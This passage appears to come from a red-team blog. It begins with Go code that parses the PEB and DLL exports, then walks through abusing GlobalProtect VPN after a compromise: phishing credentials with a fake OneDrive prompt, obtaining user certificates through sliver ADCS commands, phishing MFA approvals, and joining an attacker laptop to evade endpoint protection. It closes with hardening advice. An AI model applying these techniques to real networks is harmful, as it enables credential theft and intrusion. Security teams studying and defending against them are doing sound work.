		return (dll.exportedZwFunctions)[i].funcRVA < (dll.exportedZwFunctions)[j].funcRVA
	})
}

// Get Image Export directory. We are interested in
// - AddressofFunctions
// - AddressOfNames
// - AddressOFNameOrdinals (maybe in the future)
// - Number of functions
func (dll *dllstruct) GetImageExportDirectory() {

	dll.exportDirectory.Characteristics = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress)))
	dll.exportDirectory.TimeDateStamp = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x4)))
	dll.exportDirectory.MajorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0x8)))
	dll.exportDirectory.MinorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0xa)))
	dll.exportDirectory.Name = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0xc)))
	dll.exportDirectory.Base = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x10)))
	dll.exportDirectory.NumberOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x14)))
	dll.exportDirectory.NumberOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x18)))
	dll.exportDirectory.AddressOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x1c)))
	dll.exportDirectory.AddressOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x20)))
	dll.exportDirectory.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x24)))

}

func (dll *dllstruct) getExportTableAddress() uintptr {
	e_lfanew := *((*uint32)(unsafe.Pointer(dll.address + 0x3c)))
	ntHeader := dll.address + uintptr(e_lfanew)
	fileHeader := ntHeader + 0x4
	// https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header
	optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct
	exportDir := optionalHeader + 0x70  // offset to export table
	exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir)))
	dll.exportDirectoryAddress = dll.address + uintptr(exportDirOffset)
	return dll.exportDirectoryAddress
}

func GetStructOfLoadedDll(name string) (dllstruct, error) {
	modules := ListDllFromPEB()
	for _, module := range modules {
		if module.name == name {
			return module, nil
		}

	}
	return dllstruct{}, fmt.Errorf("dll not Found")
}

func PrintModules() {
	t := table.NewWriter()
	fmt.Printf("---------------------------------------------\nLoaded modules in current process\n")
	t.AppendHeader(table.Row{"#", "DLL Name", "Address"})

	for i, module := range ListDllFromPEB() {
		t.AppendRow(table.Row{i, module.name, fmt.Sprintf("0x%x", module.address)})
	}
	fmt.Println(t.Render())
}

// adds all loaded modules and their base addresses in a slice
func ListDllFromPEB() []dllstruct {

	peb := windows.RtlGetCurrentPeb()
	moduleList := peb.Ldr.InMemoryOrderModuleList
	a := moduleList.Flink
	loadedModules := []dllstruct{}
	for {

		listentry := uintptr(unsafe.Pointer(a))
		// -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure
		// +0x30 Dllbase address
		// +0x58 +0x8 address holding the address pointing to base dllname
		// offsets different for 32-bit processes
		DllBase := uintptr(listentry) - 0x10 + 0x30
		BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8

		v := *((*uintptr)(unsafe.Pointer(BaseDllName)))
		//fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name

		s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16
		dllNameStr := windows.UTF16PtrToString(s)
		if dllNameStr == "" {
			break
		}

		dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase)))
		//fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr
		loadedModules = append(loadedModules, dllstruct{
			name:                   dllNameStr,
			address:                dllbaseaddr,
			exportDirectoryAddress: 0,
			exportDirectory:        IMAGE_EXPORT_DIRECTORY{Characteristics: 0, TimeDateStamp: 0, MajorVersion: 0, MinorVersion: 0, Name: 0, Base: 0, NumberOfFunctions: 0, NumberOfNames: 0, AddressOfFunctions: 0, AddressOfNames: 0, AddressOfNameOrdinals: 0},
			exportedNtFunctions:    []Exportfunc{},
			exportedZwFunctions:    []Exportfunc{},
		})
		a = a.Flink
	}

	return loadedModules
}

```


# 3. VPN abuse for Endpoint Protection Evasion


# 1. Global Protect Abuse 1/2

\#globalprotect #redteaming #globalprotect #VPNabuse

## Introduction&#x20;

The motivation for this blog comes after attending a Mandiant social gathering in London. The presenter, Rohan ([@Decode141](https://twitter.com/Decode141)), described how the VPN could be abused to join an attacker controlled machine on the target Network after initial access is achieved.&#x20;

In this blog I will explore how we can abuse Palo Alto's Global Protect to achieve just that. &#x20;

## Pre-Requisites

* Initial foothold is required
* [User Certificate ](https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000ClIICA0)
* VPN configuration details
* User Credentials

## Initial foothold

For the sake of simplicity we will assume that we compromised a user and we have a sliver session on the target machine. Anything demonstrated below can be achieved using a C2 of your choice since most functionality comes from Beacon Object Files and C# executables.

## User Credentials

Once we have a foothold on the target machine we could capture user credentials in a number of different ways. The easiest way is to just ask for them :) Let's see how that's done using sliver.&#x20;

Armory offers a wide range of [Beacon Object Files (bof)](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm#:~:text=A%20Beacon%20Object%20File%20\(BOF,with%20new%20post%2Dexploitation%20features.) that are officially supported by sliver. Luckily for us [`c2tc-askcreds`](https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/Askcreds) bof prompts the victim for their credentials.&#x20;

When the command is executed the following prompt will appear on their desktop:&#x20;

OneDrive.exe is specified from the bof. That could be anything but something that is relevant to the user would be ideal.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FRgoyunj0kj3vXDh98xWq%2Fimage.png?alt=media&amp;token=cd66ac32-1d59-46d4-ac08-95eedf747bd8" alt=""><figcaption><p>AskCreds prompt</p></figcaption></figure>

This is how it looks from the attacker's perspective:&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FlBuICzaaUFAWBM0tWzB3%2Fimage.png?alt=media&amp;token=533a5a30-b755-405a-93a2-5bf9897020f4" alt=""><figcaption><p>Captured Credentials</p></figcaption></figure>

{% hint style="info" %}
Please note that this bof doesn't validate if the credentials are correct.&#x20;
{% endhint %}

## Global Protect Enumeration

### GUI

The easiest way to obtain information regarding the VPN is through the client app installed on the host machine.&#x20;

The portal login page can be identified by the settings button as shown below:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FafUFPVbxZ6mxbOqRRsEE%2Fimage.png?alt=media&amp;token=3557fb2d-3243-4ec6-999d-22e972c3407d" alt=""><figcaption><p>Portal Information</p></figcaption></figure>

Potential gateways to connect to are identified in the Connection Tab:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FNRdhLinChtSNG8Oeif7u%2Fimage.png?alt=media&amp;token=6560e9bc-b922-4d4c-b4b9-0f60211dd531" alt=""><figcaption><p>Gateways</p></figcaption></figure>

Information on the Host Profile on the respective tab. That will help us identify what sort of endpoint configuration / hardening we will need prior to a connection to the target network. If the endpoint doesn't meet the minimum requirements it might be isolated from the target network even though a successful connection was established.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FOFJon3Vr74xZnIcsuRx0%2Fimage.png?alt=media&amp;token=7bea5b93-07f1-4eb8-9429-2dfe13c6c15c" alt=""><figcaption></figcaption></figure>

### CLI

The `PanGPA.log` located at `C:\Users\<username>\AppData\Local\Palo Alto Networks\GlobalProtect` is very verbose and includes all the information needed to successfully create a remote connection.&#x20;

## User Certificate

In order to login into the paloalto portal we need a client certificate (this is not always the case). Let's find a few potential targets using shodan.&#x20;

The GlobalProtect Portal Login page ends with "/global-protect/login.esp" so using google dorks or shodan we can identify multiple instances.&#x20;

Let's take a look at the first example:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FizX0UNajoflhgcJYi0hZ%2Fimage.png?alt=media&amp;token=ac82556a-affd-4ef8-9464-29513bccf0b5" alt=""><figcaption><p>When a valid certificate is required</p></figcaption></figure>

A message appears at the end of the page informing us that a valid certificate is required.&#x20;

Another page found from shodan doesn't seem to have the same requirement.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FA24esC5zpkAz93OZZ576%2Fimage.png?alt=media&amp;token=26ba352b-99ec-4610-96c9-82351a3904e2" alt=""><figcaption><p>No certificate is required</p></figcaption></figure>

### Obtain the certificate from the victim

We can obtain the certificate from the host in a number of ways:&#x20;

* Using mmc through the GUI (low-priv user)&#x20;
* Using trustedsec's bofs (low-priv user)&#x20;
* Using mimikatz (requires elevated access)

#### Obtain Certificates through the GUI

We can quickly access user certificates by searching "Manage user certificates" on our host.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FyvAnoDa2ZNYmR4G98Fhb%2Fimage.png?alt=media&amp;token=02907d3f-31ad-43ab-ae2a-3cf5e277eb07" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F0JXm0Cimb1iKUFR86zAU%2Fimage.png?alt=media&amp;token=f0cb5a8b-0913-4bc9-b5b1-a9355ed6a633" alt=""><figcaption><p>Dave Daves User certificate</p></figcaption></figure>

In this case we need the "Dave Daves" certificate to be exported in order to gain access to the VPN portal.&#x20;

We can export the certificate by right clicking > All Tasks  > Export...

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FVgQhFpfH6hwt52Qa0KmH%2Fimage.png?alt=media&amp;token=d065bd24-a489-445b-a894-1c42d35d3530" alt=""><figcaption><p>Export Certificate</p></figcaption></figure>

In some cases depending on the ADCS configuration we might face the issue of not being able to export the private key of the certificate.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FH7h5CEEzY7GTDjrcAEfZ%2Fimage.png?alt=media&amp;token=2feaa6be-d11f-47bb-b576-468975df8f6c" alt=""><figcaption><p>Export private key greyed out. </p></figcaption></figure>

At this point we could use a tool like [mimikatz to extract the private key](https://krestfield.github.io/docs/pki/exporting_a_nonexportable_certificate.html). That would require patching certain functions in memory and admin privileges. Also executing mimikatz on a mature environment would probably set off a few alarms.&#x20;

Alternatively we could request another certificate from the ADCS server with the export private key property being enabled.&#x20;

That can be done by requesting a new certificate.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FXJmBBV94ui6E7ntwjaLU%2Fimage.png?alt=media&amp;token=23b10243-d609-4da5-918d-75aa34947e2b" alt=""><figcaption><p>Requesting new certificate</p></figcaption></figure>

After clicking on Request Certificate with New Key the following window pops up:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F23MtZbUoT78FLbERKipy%2Fimage.png?alt=media&amp;token=0d82cef5-77ca-488a-88e1-3ea9af475bbb" alt=""><figcaption><p>Request a key with private key being exportable</p></figcaption></figure>

1. Expand User Certificate details
2. Click On Properties
3. Navigate to the 'Private Key' Tab
4. Under Key Options, select Make private key exportable

We now have a second key that we are able to export.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FUjuuiQhsWqEqtcT9SYlg%2Fimage.png?alt=media&amp;token=46cda011-45aa-4332-a700-b20d85290e0e" alt=""><figcaption><p>"Export the private key" enabled</p></figcaption></figure>

In the following steps we will be asked to set up a password for the exported key and define the export directory. On an engagement instead of leaving the key lying around you can delete it once it's downloaded. &#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FVXllfKIXpoZd5cfhd9sQ%2Fimage.png?alt=media&amp;token=304d54eb-15ed-44fd-9cd8-d33b9edfd8cf" alt=""><figcaption><p>Last step before exporting our key</p></figcaption></figure>

### Obtain the certificate through the beacon

We could use tools such as[ Hidden Desktop](https://github.com/sliverarmory/HiddenDesktop) to extract the keys as demonstrated before but it's not always possible. Thankfully the same result can be achieved using beacon object files without any GUI interaction.&#x20;

Two bofs will be used to request the certificate:

* [sa-adcs-enum](https://github.com/sliverarmory/CS-Situational-Awareness-BOF/tree/master/src/SA/adcs_enum) (I found this bof more reliable than using sa-adcs-enum-com. sa-adcs-enum-com would cause the sliver beacon to crash. I am not sure if that's the case with Cobalt Strike)

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Flyi1GteA3WsiaOJXix7E%2Fimage.png?alt=media&amp;token=3da2ec8f-e19a-4565-960a-ba74934dddca" alt=""><figcaption><p>sa-adcs-enum (most reliable in my experience)</p></figcaption></figure>

* [remote-adcs-request](https://github.com/sliverarmory/CS-Remote-OPs-BOF/tree/main/Remote/adcs_request)

sa-adcs-enum will help us identify all the information needed to create a valid adcs request using remote-adcs-request.&#x20;

**sa-adcs-enum**

This bof doesn't really require any arguments. We can just run this bof to enumerate the Certificate Authority and the template name required for the next step.

The first few lines will show all the information needed for the CA

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FwggeZQnZhSxPEUO5iG07%2Fimage.png?alt=media&amp;token=3259a4d4-9034-4047-8921-38adfdd14574" alt=""><figcaption><p>Certificate Authority information</p></figcaption></figure>

From the above screenshot we can extract the name of the Certificate Authority `CLAIRE-ALEX-DC-CA` and the domain name is `CLAIRE.local`

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FcTSUg2BnQL9krSPDTLmf%2Fimage.png?alt=media&amp;token=bb4e9fe8-ebd6-42c0-8619-f54862c93ba7" alt=""><figcaption><p>User Template</p></figcaption></figure>

The `User` template is the one required to authenticate to the VPN portal. Depending on the environment the template might have a different name .&#x20;

**remote-adcs-request**

All we need now is to run the following command so the pirvate key and certificate will be dumped.&#x20;

```
[server] sliver (LIGHT_JOURNEY) > remote-adcs-request 'Claire.local\CLAIRE-ALEX-DC-CA' User 
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FICD5I6fpM4wtYLWiAhW0%2Fimage.png?alt=media&amp;token=ff8e3cfd-713d-459e-88ac-f8e712ea3b39" alt=""><figcaption><p>Generating the certificate</p></figcaption></figure>

We can then copy the contents of the certificate to a file and convert it to a .pfx file using the following command.&#x20;

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

## Additional considerations before connecting to the portal

It is common nowadays to come across MFA authentication after logging in. The fact that we have foothold on the target machine we can get the user to authenticate for us. Let's take the [number matching scenario](https://learn.microsoft.com/en-us/azure/active-directory/authentication/how-to-mfa-number-match#multifactor-authentication) demonstrated below:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FacW3Q4GEgabnAe5x6jRW%2Fimage.png?alt=media&amp;token=a907529a-66d3-4668-a844-820a81e8553c" alt=""><figcaption><p>Number matching MFA</p></figcaption></figure>

The user is expected to use the number appearing on his screen, usually in a browser, and type it into their authenticator application.&#x20;

In some cases authenticator will show more information such as the connection location. We might want to match the user's location to avoid adding to the victim's suspicion. &#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F7e4xY6ru4cEFnFtwbohV%2Fimage.png?alt=media&amp;token=3ffe39a7-79c7-4e39-b2c1-ce2080a57be6" alt=""><figcaption><p>Authenticator with additional context</p></figcaption></figure>

To overcome the MFA a small [c# script ](https://github.com/scriptchildie/maliciousCodeMatchingMFA/tree/main)was written. We can run from sliver or cobaltstrike to prompt the user with the number to match.&#x20;

### Attacker&#x20;

The user is essentially running the c# executable within the beacon's process. The executable takes 2 arguments, the user's email and the and number to type into their authenticator.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FHeUpVTRM2UkUkvLtjnuz%2Fimage.png?alt=media&amp;token=a62333a1-2d6f-4986-95e7-c2ad615e70a9" alt=""><figcaption><p>MFA phishing</p></figcaption></figure>

### Victim

The victim will see the pop up show up on his desktop. We then hope the user will authenticate for us. &#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fn0LKSCm68zk6DUoYWJZu%2Fimage.png?alt=media&amp;token=6a712c50-5fe5-4126-a058-0c4afb44e443" alt=""><figcaption><p>malicious MFA pop-up</p></figcaption></figure>

In the second part of this blog we will go through the process of connecting to the VPN and possible hardening techniques we can apply on the Firewall to stop attackers from connecting to the VPN from a non corporate laptop.&#x20;


# 2. Global Protect Abuse 2/2

\#globalprotect #redteaming #globalprotect #VPNabuse

## Introduction

In part 1 on this blog post we explored how to collect usernames, certificates, credentials and how to bypass MFA with the aim of gaining access to the target network.&#x20;

In this blog post we will see how we can connect to the target network and how we can harden our VPN configuration in order to stop attackers using this attack vector.&#x20;

## Connecting to the target network&#x20;

With all the information we have now all that is left to do is to login the portal, download the VPN client and connect to the target network.&#x20;

In our lab the GlobalProtect Portal can be found on <https://192.168.198.250/global-protect/login.esp>

Using the credentials captured previously through our sliver implant we can login.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fj3J8B8WiHXbIgkhX3JpI%2Fimage.png?alt=media&amp;token=f76650ca-b012-4e9c-8bc7-69c38bb923ec" alt=""><figcaption><p>Login Using phished creds</p></figcaption></figure>

We can then download the vpn client on our attacking machine

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FMOPHoAUPhLsssBXUMOVe%2Fimage.png?alt=media&amp;token=72fabacb-932d-41e5-8b63-56354c1275fc" alt=""><figcaption><p>Download the Client</p></figcaption></figure>

Once the client is installed all we will need is the portal url, credentials and potentially get the user to authenticate again if we get prompted for Multi Factor Authentication.&#x20;

When the client is installed we will see the following on the bottom right of our screen. If not we can click on the global protect icon showing up next to the time and date.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fi5T8WJfX0U2nzDLFPEf1%2Fimage.png?alt=media&amp;token=28efe72f-ffcb-4ba2-a23f-35fd6a182ea7" alt=""><figcaption><p>GlobalProtect Client Installed</p></figcaption></figure>

We type in the portal IP or DNS name and hit connect. We will then get a prompt to type in our credentials.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fzs4PxzpUKkv7dCSwv4OP%2Fimage.png?alt=media&amp;token=2eb3dfd4-bd36-4aad-a619-7c37d3fe30ef" alt=""><figcaption><p>Login as dave.daves</p></figcaption></figure>

And that's it we are in.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FxOpoNQxSIVBBuQnJwcUp%2Fimage.png?alt=media&amp;token=8d816a76-be00-4eef-87d8-687433b9c0f9" alt=""><figcaption><p>Success</p></figcaption></figure>

We can now run our favourite tooling without worrying about any sort of endpoint protection. (Obviously that doesn't include any network level protection.)

## Defending against this type of attack

There are a number of ways this attack could stop be stopped.&#x20;

* Use machine certificates for client authentication.
* Make use of Host Information Profile (HIP)

### Machine Certificates

When using machine certificates for authentication they are much harder to extract than user certificates. Machine Certs require Local / Domain Administrator privileges to extract. Although not impossible to get, it is considerably harder to achieve straight after getting foothold on the network.&#x20;

### [Host Information Profile (HIP)](https://live.paloaltonetworks.com/t5/blogs/leveraging-host-information-profile-hip/ba-p/291126)

The Host Information Profile (HIP) feature allows you to collect information about the security status of your endpoints, and the decision is based on whether to allow or deny access to a specific host based on adherence to the host policies you define.

HIP allows for granular checks on the endpoint. One example is to check the use of Anti-Malware solutions. A default windows installation would pass this check since Defender comes pre installed. Global Protect gives the administrator the option of specifying the following parameters for the Anti-Malware object.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F0nRLGzxKhiH3WUz5zCzA%2Fimage.png?alt=media&amp;token=41dfd975-4fb8-49f6-8011-2cca5cb8df80" alt=""><figcaption><p>HIPS Anti-Malware</p></figcaption></figure>

Firstly we can set up the vendor and the product as shown below

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FHZYsuMxXrv0rhZzMmtMO%2Fimage.png?alt=media&amp;token=8ef561a0-cbe5-4866-bc62-3ed8b8e8e328" alt=""><figcaption><p>Product and vendor</p></figcaption></figure>

We can then add additional checks such as the definitions being up to date, last scan was not greater than 10 days etc.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FUavfSmJVzUV08B8EWu15%2Fimage.png?alt=media&amp;token=2c79a3b4-5b66-4d58-94af-58a9cc687c2e" alt=""><figcaption><p>Anti-Malware HIP</p></figcaption></figure>

Additional Checks regarding the host can be added as shown below:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FGBmLys11Gz9aWUs1hQAR%2Fimage.png?alt=media&amp;token=90dec3f5-4dad-450b-b0b6-84f236d889b7" alt=""><figcaption><p>Host information</p></figcaption></figure>

After setting up the HIP and applying it we receive the following pop up message from GlobalProtect.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FzDFvTECo9xjPXBTKMkOb%2Fimage.png?alt=media&amp;token=c7bc661a-84ea-4a6a-ab84-c4ebcd0245b2" alt=""><figcaption><p>HIP notification</p></figcaption></figure>

I have set up a notification to pop up when the HIP checks fail. In a real world environment a security policy should be set up to isolate the machine from the network.&#x20;

Ideally HIP policy should be as strict and granular as possible. That will make the life of an attacker very difficult if they are trying to match the target environment.&#x20;

## Conclusion

This technique is a viable solution to join an attacker controlled machine to a target network. In the references section I have listed all the articles / videos I have read to prepare my lab environment and test the attack scenario.&#x20;

## References&#x20;

\[1] [Palo Alto GlobalProtect VPN Configuration Step by Step \[2023\]](https://youtu.be/Dj-rjuX9I_E?si=vvtkzawtsKhNicha)

\[2] [Palo Alto firewall lab using VMware Workstation](https://www.youtube.com/watch?v=fEz-5vzkCNk)

\[3] [How to Build an Active Directory Hacking Lab](https://www.youtube.com/watch?v=xftEuVQ7kY0)

\[4][ PA-VM Trial](https://www.paloaltonetworks.com/vm-series-trial)

\[5][ Setting up HIP ](https://www.youtube.com/watch?v=XvRHu-OfF8I)

\[6] [PaloAlto with external CA](https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000PMyG)\ <br>


